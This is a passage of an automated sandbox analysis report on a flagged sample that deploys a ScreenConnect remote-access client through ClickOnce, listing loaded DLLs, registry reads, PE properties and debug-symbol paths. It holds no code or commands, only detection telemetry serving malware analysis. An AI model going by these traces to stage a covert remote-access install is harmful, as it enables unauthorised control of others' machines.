Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Section loaded: profapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Reads internet explorer settings

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\AppData\Local\Apps\2.0\DTABL3OL.HY1\DO55ETEY.OE4\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: certificate valid

PE file contains a mix of data directories often seen in goodware

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb(s( source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb> source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.Windows.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb%)Sw source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb` source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb1 source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdbROF source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: entService.pdbr source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.Core.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Core.pdb0 source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF42E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF056000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871815455.00000000029EF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871339597.0000000000ED0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1831463096.0000000004FC2000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000000.1417484650.00000000004DD000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: mscorlib.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdby source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbl source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1412836393.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BEEA8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871561986.0000000002592000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdbul:YGvd source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER494D.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbH9 source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: System.Xml.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbl source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER494D.tmp.dmp.13.dr
Source:	Binary string: HP+nXC:\Windows\ScreenConnect.ClientService.pdbP source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830358109.0000000000B78000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.ClientService.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbe) source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbw source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.Configuration.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: @7n.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF42A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF052000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1831637718.00000000050B2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source:	Binary string: ?7nC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: mscorlib.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.Core.pdba3a source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HP+n0C:\Windows\mscorlib.pdb\ source: ScreenConnect.ClientService.exe, 0000000A.00000002.1831984228.00000000056AB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF05A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF432000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1832015455.00000000056C2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: System.Core.pdb source: WER494D.tmp.dmp.13.dr
Source:	Binary string: System.pdb4 source: WER494D.tmp.dmp.13.dr
Source:	Binary string: C:\Windows\ScreenConnect.ClientService.pdbpdbice.pdbt]yw source: ScreenConnect.ClientService.exe, 0000000A.00000002.1830485738.0000000000E96000.00000004.00000020.00020000.00000000.sdmp
